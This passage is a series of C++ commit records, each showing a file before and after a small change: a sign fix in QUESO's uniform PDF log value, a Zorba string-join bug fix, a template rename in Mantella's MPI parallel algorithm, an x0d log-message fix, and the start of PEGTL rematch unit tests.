(gradVector ) *gradVector = m_domainSet.vectorSpace().zeroVector();\n if (hessianMatrix) *hessianMatrix *= 0.;\n if (hessianEffect) *hessianEffect = m_domainSet.vectorSpace().zeroVector();\n\n if (domainVector[0]) {}; \/\/ just to remove compiler warning\n if (domainDirection) {}; \/\/ just to remove compiler warning\n\n double volume = m_domainSet.volume();\n if (((boost::math::isnan)(volume)) ||\n (volume == -INFINITY ) ||\n (volume == INFINITY ) ||\n (volume <= 0. ) ||\n (m_normalizationStyle != 0 )) {\n volume = 1.;\n }\n\n return log(volume); \/\/ No need to add m_logOfNormalizationFactor [PDF-04]\n}\n\/\/--------------------------------------------------\ntemplate<class V, class M>\ndouble\nUniformJointPdf<V,M>::computeLogOfNormalizationFactor(unsigned int numSamples, bool updateFactorInternally) const\n{\n double value = 0.;\n\n if ((m_env.subDisplayFile()) && (m_env.displayVerbosity() >= 2)) {\n *m_env.subDisplayFile() << \"Entering UniformJointPdf<V,M>::computeLogOfNormalizationFactor()\"\n << std::endl;\n }\n value = BaseJointPdf<V,M>::commonComputeLogOfNormalizationFactor(numSamples, updateFactorInternally);\n if ((m_env.subDisplayFile()) && (m_env.displayVerbosity() >= 2)) {\n *m_env.subDisplayFile() << \"Leaving UniformJointPdf<V,M>::computeLogOfNormalizationFactor()\"\n << \", m_logOfNormalizationFactor = \" << m_logOfNormalizationFactor\n << std::endl;\n }\n\n return value;\n}\n\n} \/\/ End namespace QUESO\n\ntemplate class QUESO::UniformJointPdf<QUESO::GslVector, QUESO::GslMatrix>;\n<commit_msg>Fix sign in log uniform pdf<commit_after>\/\/-----------------------------------------------------------------------bl-\n\/\/--------------------------------------------------------------------------\n\/\/\n\/\/ QUESO - a library to support the Quantification of Uncertainty\n\/\/ for Estimation, Simulation and Optimization\n\/\/\n\/\/ Copyright (C) 2008-2015 The PECOS Development Team\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the Version 2.1 GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc. 51 Franklin Street, Fifth Floor,\n\/\/ Boston, MA 02110-1301 USA\n\/\/\n\/\/-----------------------------------------------------------------------el-\n\n#include <queso\/UniformJointPdf.h>\n#include <queso\/GslVector.h>\n#include <queso\/GslMatrix.h>\n\nnamespace QUESO {\n\n\/\/ Constructor -------------------------------------\ntemplate<class V,class M>\nUniformJointPdf<V,M>::UniformJointPdf(\n const char* prefix,\n const VectorSet<V,M>& domainSet)\n :\n BaseJointPdf<V,M>(((std::string)(prefix)+\"uni\").c_str(),\n domainSet)\n{\n if ((m_env.subDisplayFile()) && (m_env.displayVerbosity() >= 54)) {\n *m_env.subDisplayFile() << \"Entering UniformJointPdf<V,M>::constructor()\"\n << \": prefix = \" << m_prefix\n << std::endl;\n }\n\n if ((m_env.subDisplayFile()) && (m_env.displayVerbosity() >= 54)) {\n *m_env.subDisplayFile() << \"Leaving UniformJointPdf<V,M>::constructor()\"\n << \": prefix = \" << m_prefix\n << std::endl;\n }\n}\n\/\/ Destructor --------------------------------------\ntemplate<class V,class M>\nUniformJointPdf<V,M>::~UniformJointPdf()\n{\n}\n\/\/ Math methods-------------------------------------\ntemplate<class V, class M>\ndouble\nUniformJointPdf<V,M>::actualValue(\n const V& domainVector,\n const V* domainDirection,\n V* gradVector,\n M* hessianMatrix,\n V* hessianEffect) const\n{\n UQ_FATAL_TEST_MACRO(domainVector.sizeLocal() != this->m_domainSet.vectorSpace().dimLocal(),\n m_env.worldRank(),\n \"UniformJointPdf<V,M>::actualValue()\",\n \"invalid input\");\n\n if (gradVector ) *gradVector = m_domainSet.vectorSpace().zeroVector();\n if (hessianMatrix) *hessianMatrix *= 0.;\n if (hessianEffect) *hessianEffect = m_domainSet.vectorSpace().zeroVector();\n\n if (domainDirection) {}; \/\/ just to remove compiler warning\n\n double volume = m_domainSet.volume();\n if (((boost::math::isnan)(volume)) ||\n (volume == -INFINITY ) ||\n (volume == INFINITY ) ||\n (volume <= 0. ) ||\n (m_normalizationStyle != 0 )) {\n volume = 1.;\n }\n\n return 1.\/volume; \/\/ No need to multiply by exp(m_logOfNormalizationFactor) [PDF-04]\n}\n\/\/--------------------------------------------------\ntemplate<class V, class M>\ndouble\nUniformJointPdf<V,M>::lnValue(\n const V& domainVector,\n const V* domainDirection,\n V* gradVector,\n M* hessianMatrix,\n V* hessianEffect) const\n{\n if (gradVector ) *gradVector = m_domainSet.vectorSpace().zeroVector();\n if (hessianMatrix) *hessianMatrix *= 0.;\n if (hessianEffect) *hessianEffect = m_domainSet.vectorSpace().zeroVector();\n\n if (domainVector[0]) {}; \/\/ just to remove compiler warning\n if (domainDirection) {}; \/\/ just to remove compiler warning\n\n double volume = m_domainSet.volume();\n if (((boost::math::isnan)(volume)) ||\n (volume == -INFINITY ) ||\n (volume == INFINITY ) ||\n (volume <= 0. ) ||\n (m_normalizationStyle != 0 )) {\n volume = 1.;\n }\n\n return -log(volume);\n}\n\/\/--------------------------------------------------\ntemplate<class V, class M>\ndouble\nUniformJointPdf<V,M>::computeLogOfNormalizationFactor(unsigned int numSamples, bool updateFactorInternally) const\n{\n double value = 0.;\n\n if ((m_env.subDisplayFile()) && (m_env.displayVerbosity() >= 2)) {\n *m_env.subDisplayFile() << \"Entering UniformJointPdf<V,M>::computeLogOfNormalizationFactor()\"\n << std::endl;\n }\n value = BaseJointPdf<V,M>::commonComputeLogOfNormalizationFactor(numSamples, updateFactorInternally);\n if ((m_env.subDisplayFile()) && (m_env.displayVerbosity() >= 2)) {\n *m_env.subDisplayFile() << \"Leaving UniformJointPdf<V,M>::computeLogOfNormalizationFactor()\"\n << \", m_logOfNormalizationFactor = \" << m_logOfNormalizationFactor\n << std::endl;\n }\n\n return value;\n}\n\n} \/\/ End namespace QUESO\n\ntemplate class QUESO::UniformJointPdf<QUESO::GslVector, QUESO::GslMatrix>;\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <sstream>\n\n#include \"store\/api\/item.h\"\n#include \"store\/naive\/item_vector.h\"\n\nnamespace zorba { namespace simplestore {\n\nItemVector::ItemVector(std::vector<store::Item_t>& items)\n{\n ulong numItems = items.size();\n\n theItems.resize(numItems);\n\n for (ulong i = 0; i < numItems; i++)\n theItems[i].transfer(items[i]);\n}\n\n\nxqpStringStore_t ItemVector::getStringValue() const\n{\n std::ostringstream ostr;\n ulong numItems = theItems.size();\n\n for (ulong i = 0; i < numItems; i++)\n {\n ostr << theItems[i]->getStringValue()->c_str() << \" \";\n }\n\n return new xqpStringStore(ostr.str());\n}\n\n\nvoid ItemVector::getStringValue(xqpStringStore_t& strval) const\n{\n strval = new xqpStringStore(\"\");\n getStringValue(strval->str());\n}\n\n\nvoid ItemVector::getStringValue(std::string& buf) const\n{\n ulong numItems = theItems.size();\n\n if (numItems > 0)\n {\n theItems[0]->getStringValue(buf);\n\n for (ulong i = 1; i < numItems; i++)\n {\n buf += \" \";\n theItems[i]->getStringValue(buf);\n }\n }\n}\n\n\n} \/\/ namespace store\n} \/\/ namespace zorba\n<commit_msg>fixed bug in ItemVector::getStringValue()<commit_after>\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <sstream>\n\n#include \"store\/api\/item.h\"\n#include \"store\/naive\/item_vector.h\"\n\nnamespace zorba { namespace simplestore {\n\nItemVector::ItemVector(std::vector<store::Item_t>& items)\n{\n ulong numItems = items.size();\n\n theItems.resize(numItems);\n\n for (ulong i = 0; i < numItems; i++)\n theItems[i].transfer(items[i]);\n}\n\n\nxqpStringStore_t ItemVector::getStringValue() const\n{\n std::ostringstream ostr;\n ulong numItems = theItems.size();\n\n if (numItems > 0)\n {\n ostr << theItems[0]->getStringValue()->c_str();\n\n for (ulong i = 1; i < numItems; ++i)\n {\n ostr << \" \" << theItems[i]->getStringValue()->c_str();\n }\n }\n\n return new xqpStringStore(ostr.str());\n}\n\n\nvoid ItemVector::getStringValue(xqpStringStore_t& strval) const\n{\n strval = new xqpStringStore(\"\");\n getStringValue(strval->str());\n}\n\n\nvoid ItemVector::getStringValue(std::string& buf) const\n{\n ulong numItems = theItems.size();\n\n if (numItems > 0)\n {\n theItems[0]->getStringValue(buf);\n\n for (ulong i = 1; i < numItems; i++)\n {\n buf += \" \";\n theItems[i]->getStringValue(buf);\n }\n }\n}\n\n\n} \/\/ namespace store\n} \/\/ namespace zorba\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n\/\/ C++ Standard Library\n#include <sstream>\n\n\/\/ Cereal\n#include <cereal\/cereal.hpp>\n#include <cereal\/archives\/json.hpp>\n#include <cereal\/types\/polymorphic.hpp>\n\n\/\/ MPI\n#include <mpi.h>\n\n\/\/ Mantella\n#include <mantella_bits\/optimisationAlgorithm\/populationBasedAlgorithm.hpp>\n#include <mantella_bits\/distanceFunction\/euclideanDistance.hpp>\n\nnamespace mant {\n template <typename ParameterType, class EuclideanDistance>\n class ParallelAlgorithm : public PopulationBasedAlgorithm<ParameterType, EuclideanDistance> {\n public:\n explicit ParallelAlgorithm(\n const std::shared_ptr<OptimisationProblem<ParameterType>> optimisationProblem,\n const unsigned int& populationSize) noexcept;\n\n unsigned int getRank() const noexcept;\n unsigned int getNumberOfNodes() const noexcept;\n\n protected:\n int rank_;\n int numberOfNodes_;\n\n void optimiseImplementation() noexcept final override;\n\n virtual void parallelOptimiseImplementation() noexcept = 0;\n };\n\n template <typename ParameterType, class EuclideanDistance>\n ParallelAlgorithm<ParameterType, EuclideanDistance>::ParallelAlgorithm(\n const std::shared_ptr<OptimisationProblem<ParameterType>> optimisationProblem,\n const unsigned int& populationSize) noexcept\n : PopulationBasedAlgorithm<ParameterType, EuclideanDistance>(optimisationProblem, populationSize) {\n MPI_Comm_rank(MPI_COMM_WORLD, &rank_);\n MPI_Comm_size(MPI_COMM_WORLD, &numberOfNodes_);\n }\n\n template <typename ParameterType, class EuclideanDistance>\n void ParallelAlgorithm<ParameterType, EuclideanDistance>::optimiseImplementation() noexcept {\n unsigned int serialisedOptimisationProblemSize;\n char* serialisedOptimisationProblemBuffer;\n\n if (rank_ == 0) {\n std::ostringstream output; {\n cereal::JSONOutputArchive archive(output);\n archive(OptimisationAlgorithm<ParameterType, EuclideanDistance>::optimisationProblem_);\n };\n\n std::string serialisedOptimisationProblem = output.str();\n serialisedOptimisationProblemSize = serialisedOptimisationProblem.size();\n serialisedOptimisationProblemBuffer = std::strcpy(new char[serialisedOptimisationProblemSize + 1], serialisedOptimisationProblem.c_str());\n }\n\n MPI_Bcast(&serialisedOptimisationProblemSize, 1, MPI_UNSIGNED, 0, MPI_COMM_WORLD);\n\n if (rank_ != 0) {\n serialisedOptimisationProblemBuffer = new char[serialisedOptimisationProblemSize + 1];\n }\n\n MPI_Bcast(serialisedOptimisationProblemBuffer, serialisedOptimisationProblemSize + 1, MPI_CHAR, 0, MPI_COMM_WORLD);\n\n if (rank_ != 0) {\n std::istringstream input(serialisedOptimisationProblemBuffer); {\n cereal::JSONInputArchive archive(input);\n archive(OptimisationAlgorithm<ParameterType, EuclideanDistance>::optimisationProblem_);\n }\n }\n\n delete[](serialisedOptimisationProblemBuffer);\n\n parallelOptimiseImplementation();\n }\n\n template <typename ParameterType, class EuclideanDistance>\n unsigned int ParallelAlgorithm<ParameterType, EuclideanDistance>::getRank() const noexcept {\n return rank_;\n }\n\n template <typename ParameterType, class EuclideanDistance>\n unsigned int ParallelAlgorithm<ParameterType, EuclideanDistance>::getNumberOfNodes() const noexcept {\n return numberOfNodes_;\n }\n}\n<commit_msg>devel: Templated *abstract* parallel algorithm class<commit_after>#pragma once\n\n\/\/ C++ Standard Library\n#include <sstream>\n\n\/\/ Cereal\n#include <cereal\/cereal.hpp>\n#include <cereal\/archives\/json.hpp>\n#include <cereal\/types\/polymorphic.hpp>\n\n\/\/ MPI\n#include <mpi.h>\n\n\/\/ Mantella\n#include <mantella_bits\/optimisationAlgorithm\/populationBasedAlgorithm.hpp>\n\nnamespace mant {\n template <typename ParameterType, class DistanceFunction>\n class ParallelAlgorithm : public PopulationBasedAlgorithm<ParameterType, DistanceFunction> {\n public:\n explicit ParallelAlgorithm(\n const std::shared_ptr<OptimisationProblem<ParameterType>> optimisationProblem,\n const unsigned int& populationSize) noexcept;\n\n unsigned int getRank() const noexcept;\n unsigned int getNumberOfNodes() const noexcept;\n\n protected:\n int rank_;\n int numberOfNodes_;\n\n void optimiseImplementation() noexcept final override;\n\n virtual void parallelOptimiseImplementation() noexcept = 0;\n };\n\n template <typename ParameterType, class DistanceFunction>\n ParallelAlgorithm<ParameterType, DistanceFunction>::ParallelAlgorithm(\n const std::shared_ptr<OptimisationProblem<ParameterType>> optimisationProblem,\n const unsigned int& populationSize) noexcept\n : PopulationBasedAlgorithm<ParameterType, DistanceFunction>(optimisationProblem, populationSize) {\n MPI_Comm_rank(MPI_COMM_WORLD, &rank_);\n MPI_Comm_size(MPI_COMM_WORLD, &numberOfNodes_);\n }\n\n template <typename ParameterType, class DistanceFunction>\n void ParallelAlgorithm<ParameterType, DistanceFunction>::optimiseImplementation() noexcept {\n unsigned int serialisedOptimisationProblemSize;\n char* serialisedOptimisationProblemBuffer;\n\n if (rank_ == 0) {\n std::ostringstream output; {\n cereal::JSONOutputArchive archive(output);\n archive(OptimisationAlgorithm<ParameterType, DistanceFunction>::optimisationProblem_);\n };\n\n std::string serialisedOptimisationProblem = output.str();\n serialisedOptimisationProblemSize = serialisedOptimisationProblem.size();\n serialisedOptimisationProblemBuffer = std::strcpy(new char[serialisedOptimisationProblemSize + 1], serialisedOptimisationProblem.c_str());\n }\n\n MPI_Bcast(&serialisedOptimisationProblemSize, 1, MPI_UNSIGNED, 0, MPI_COMM_WORLD);\n\n if (rank_ != 0) {\n serialisedOptimisationProblemBuffer = new char[serialisedOptimisationProblemSize + 1];\n }\n\n MPI_Bcast(serialisedOptimisationProblemBuffer, serialisedOptimisationProblemSize + 1, MPI_CHAR, 0, MPI_COMM_WORLD);\n\n if (rank_ != 0) {\n std::istringstream input(serialisedOptimisationProblemBuffer); {\n cereal::JSONInputArchive archive(input);\n archive(OptimisationAlgorithm<ParameterType, DistanceFunction>::optimisationProblem_);\n }\n }\n\n delete[](serialisedOptimisationProblemBuffer);\n\n parallelOptimiseImplementation();\n }\n\n template <typename ParameterType, class DistanceFunction>\n unsigned int ParallelAlgorithm<ParameterType, DistanceFunction>::getRank() const noexcept {\n return rank_;\n }\n\n template <typename ParameterType, class DistanceFunction>\n unsigned int ParallelAlgorithm<ParameterType, DistanceFunction>::getNumberOfNodes() const noexcept {\n return numberOfNodes_;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of the \"x0\" project, http:\/\/github.com\/christianparpart\/x0>\n\/\/ (c) 2009-2017 Christian Parpart <christian@parpart.family>\n\/\/\n\/\/ Licensed under the MIT License (the \"License\"); you may not use this\n\/\/ file except in compliance with the License. You may obtain a copy of\n\/\/ the License at: http:\/\/opensource.org\/licenses\/MIT\n\n#include <x0d\/XzeroEventHandler.h>\n#include <x0d\/XzeroDaemon.h>\n#include <xzero\/UnixSignalInfo.h>\n#include <xzero\/executor\/Executor.h>\n#include <xzero\/logging.h>\n#include <signal.h>\n\nnamespace x0d {\n\nusing namespace xzero;\n\nXzeroEventHandler::XzeroEventHandler(XzeroDaemon* daemon,\n xzero::Executor* executor)\n : daemon_(daemon),\n signals_(UnixSignals::create(executor)),\n executor_(executor),\n state_(XzeroState::Inactive) {\n\n signals_->notify(SIGHUP, std::bind(&XzeroEventHandler::onConfigReload, this, std::placeholders::_1));\n signals_->notify(SIGUSR1, std::bind(&XzeroEventHandler::onCycleLogs, this, std::placeholders::_1));\n signals_->notify(SIGUSR2, std::bind(&XzeroEventHandler::onUpgradeBinary, this, std::placeholders::_1));\n signals_->notify(SIGQUIT, std::bind(&XzeroEventHandler::onGracefulShutdown, this, std::placeholders::_1));\n signals_->notify(SIGTERM, std::bind(&XzeroEventHandler::onQuickShutdown, this, std::placeholders::_1));\n signals_->notify(SIGINT, std::bind(&XzeroEventHandler::onQuickShutdown, this, std::placeholders::_1));\n}\n\nXzeroEventHandler::~XzeroEventHandler() {\n}\n\nvoid XzeroEventHandler::onConfigReload(const xzero::UnixSignalInfo& info) {\n logNotice(\"x0d\",\n \"Reloading configuration, as requested by pid $0 uid $1.\",\n info.pid.getOrElse(-1), info.uid.getOrElse(-1));\n\n daemon_->reloadConfiguration();\n\n signals_->notify(SIGHUP, std::bind(&XzeroEventHandler::onConfigReload, this, std::placeholders::_1));\n}\n\nvoid XzeroEventHandler::onCycleLogs(const xzero::UnixSignalInfo& info) {\n logNotice(\"x0d\", \"Reload signal received.\");\n\n daemon_->onCycleLogs();\n\n signals_->notify(SIGUSR1, std::bind(&XzeroEventHandler::onCycleLogs, this, std::placeholders::_1));\n}\n\nvoid XzeroEventHandler::onUpgradeBinary(const UnixSignalInfo& info) {\n logNotice(\"x0d\",\n \"Upgrading binary requested by pid $0 uid $1\",\n info.pid.getOrElse(-1), info.uid.getOrElse(-1));\n\n \/* TODO [x0d] binary upgrade\n * 1. suspend the world\n * 2. save state into temporary file with an inheriting file descriptor\n * 3. exec into new binary\n * 4. (new process) load state from file descriptor and close fd\n * 5. (new process) resume the world\n *\/\n}\n\nvoid XzeroEventHandler::onQuickShutdown(const xzero::UnixSignalInfo& info) {\n logNotice(\"x0d\", \"Initiating quick shutdown.\");\n daemon_->terminate();\n}\n\nvoid XzeroEventHandler::onGracefulShutdown(const xzero::UnixSignalInfo& info) {\n logNotice(\"x0d\", \"Initiating graceful shutdown.\");\n\n \/* 1. stop all listeners\n * 2. wait until all requests have been handled.\n * 3. orderly shutdown\n *\/\n\n daemon_->server()->stop();\n}\n\n} \/\/ namespace x0d\n<commit_msg>[x0d] log message copy'n'paste fix in SIGUSR1 handler<commit_after>\/\/ This file is part of the \"x0\" project, http:\/\/github.com\/christianparpart\/x0>\n\/\/ (c) 2009-2017 Christian Parpart <christian@parpart.family>\n\/\/\n\/\/ Licensed under the MIT License (the \"License\"); you may not use this\n\/\/ file except in compliance with the License. You may obtain a copy of\n\/\/ the License at: http:\/\/opensource.org\/licenses\/MIT\n\n#include <x0d\/XzeroEventHandler.h>\n#include <x0d\/XzeroDaemon.h>\n#include <xzero\/UnixSignalInfo.h>\n#include <xzero\/executor\/Executor.h>\n#include <xzero\/logging.h>\n#include <signal.h>\n\nnamespace x0d {\n\nusing namespace xzero;\n\nXzeroEventHandler::XzeroEventHandler(XzeroDaemon* daemon,\n xzero::Executor* executor)\n : daemon_(daemon),\n signals_(UnixSignals::create(executor)),\n executor_(executor),\n state_(XzeroState::Inactive) {\n\n signals_->notify(SIGHUP, std::bind(&XzeroEventHandler::onConfigReload, this, std::placeholders::_1));\n signals_->notify(SIGUSR1, std::bind(&XzeroEventHandler::onCycleLogs, this, std::placeholders::_1));\n signals_->notify(SIGUSR2, std::bind(&XzeroEventHandler::onUpgradeBinary, this, std::placeholders::_1));\n signals_->notify(SIGQUIT, std::bind(&XzeroEventHandler::onGracefulShutdown, this, std::placeholders::_1));\n signals_->notify(SIGTERM, std::bind(&XzeroEventHandler::onQuickShutdown, this, std::placeholders::_1));\n signals_->notify(SIGINT, std::bind(&XzeroEventHandler::onQuickShutdown, this, std::placeholders::_1));\n}\n\nXzeroEventHandler::~XzeroEventHandler() {\n}\n\nvoid XzeroEventHandler::onConfigReload(const xzero::UnixSignalInfo& info) {\n logNotice(\"x0d\",\n \"Reloading configuration, as requested by pid $0 uid $1.\",\n info.pid.getOrElse(-1), info.uid.getOrElse(-1));\n\n daemon_->reloadConfiguration();\n\n signals_->notify(SIGHUP, std::bind(&XzeroEventHandler::onConfigReload, this, std::placeholders::_1));\n}\n\nvoid XzeroEventHandler::onCycleLogs(const xzero::UnixSignalInfo& info) {\n logNotice(\"x0d\", \"Cycling logs, as requested by pid $0 uid $1.\",\n info.pid.getOrElse(-1), info.uid.getOrElse(-1));\n\n daemon_->onCycleLogs();\n\n signals_->notify(SIGUSR1, std::bind(&XzeroEventHandler::onCycleLogs, this, std::placeholders::_1));\n}\n\nvoid XzeroEventHandler::onUpgradeBinary(const UnixSignalInfo& info) {\n logNotice(\"x0d\",\n \"Upgrading binary requested by pid $0 uid $1\",\n info.pid.getOrElse(-1), info.uid.getOrElse(-1));\n\n \/* TODO [x0d] binary upgrade\n * 1. suspend the world\n * 2. save state into temporary file with an inheriting file descriptor\n * 3. exec into new binary\n * 4. (new process) load state from file descriptor and close fd\n * 5. (new process) resume the world\n *\/\n}\n\nvoid XzeroEventHandler::onQuickShutdown(const xzero::UnixSignalInfo& info) {\n logNotice(\"x0d\", \"Initiating quick shutdown.\");\n daemon_->terminate();\n}\n\nvoid XzeroEventHandler::onGracefulShutdown(const xzero::UnixSignalInfo& info) {\n logNotice(\"x0d\", \"Initiating graceful shutdown.\");\n\n \/* 1. stop all listeners\n * 2. wait until all requests have been handled.\n * 3. orderly shutdown\n *\/\n\n daemon_->server()->stop();\n}\n\n} \/\/ namespace x0d\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2019-2020 Dr. Colin Hirsch and Daniel Frey\n\/\/ Please see LICENSE for license or visit https:\/\/github.com\/taocpp\/PEGTL\/\n\n#include \"test.hpp\"\n#include \"verify_analyze.hpp\"\n#include \"verify_rule.hpp\"\n\nnamespace TAO_PEGTL_NAMESPACE\n{\n void unit_test()\n {\n verify_rule< rematch< one< 'c' > > >( __LINE__, __FILE__, \"c\", result_type::success );\n verify_rule< rematch< one< 'c' > > >( __LINE__, __FILE__, \"a\", result_type::local_failure );\n verify_rule< rematch< one< 'c' > > >( __LINE__, __FILE__, \"b\", result_type::local_failure );\n verify_rule< rematch< one< 'c' > > >( __LINE__, __FILE__, \"cc\", result_type::success, 1 );\n verify_rule< rematch< one< 'c' > > >( __LINE__, __FILE__, \"bc\", result_type::local_failure );\n\n verify_analyze< rematch< alpha, digit > >( __LINE__, __FILE__, true, false );\n verify_analyze< rematch< opt< alpha >, digit > >( __LINE__, __FILE__, false, false );\n {\n struct foo\n : rematch< alnum, foo >\n {};\n verify_analyze< foo >( __LINE__, __FILE__, true, true );\n }\n {\n struct foo\n : rematch< alnum, alpha, foo >\n {};\n verify_analyze< foo >( __LINE__, __FILE__, true, true );\n }\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"\", result_type::local_failure, 0 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"1\", result_type::success, 0 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"a\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"%\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"1%\", result_type::success, 1 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"a%\", result_type::local_failure, 2 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"12\", result_type::success, 1 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"1c\", result_type::success, 1 );\n\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"\", result_type::local_failure, 0 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"1\", result_type::success, 0 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"a\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"%\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"1%\", result_type::success, 1 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"a%\", result_type::local_failure, 2 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"12\", result_type::success, 1 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"1c\", result_type::success, 1 );\n\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"\", result_type::local_failure, 0 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"1\", result_type::success, 0 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"a\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"%\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"1%\", result_type::success, 1 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"a%\", result_type::local_failure, 2 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"12\", result_type::success, 1 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"1c\", result_type::success, 1 );\n\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"\", result_type::local_failure );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"1\", result_type::success );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"a\", result_type::local_failure );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"%\", result_type::local_failure );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"1%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"a%\", result_type::local_failure );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"12\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"1c\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"aa\", result_type::local_failure, 2 );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"a1\", result_type::local_failure, 2 );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"%%\", result_type::local_failure, 2 );\n\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"\", result_type::local_failure, 0 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"1\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"a\", result_type::local_failure, 1 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"%\", result_type::local_failure, 1 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"1%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"a%\", result_type::local_failure );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"12\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"1c\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"aa\", result_type::local_failure, 2 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"a1\", result_type::local_failure, 2 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"%%\", result_type::local_failure, 2 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"aaa\", result_type::local_failure, 3 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"aaa%\", result_type::local_failure, 4 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"111\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"111%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"a1a\", result_type::local_failure, 3 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"1a1\", result_type::success, 0 );\n\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo5\", result_type::local_failure, 4 );\n\n verify_rule< rematch< plus< alnum >, success, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo\", 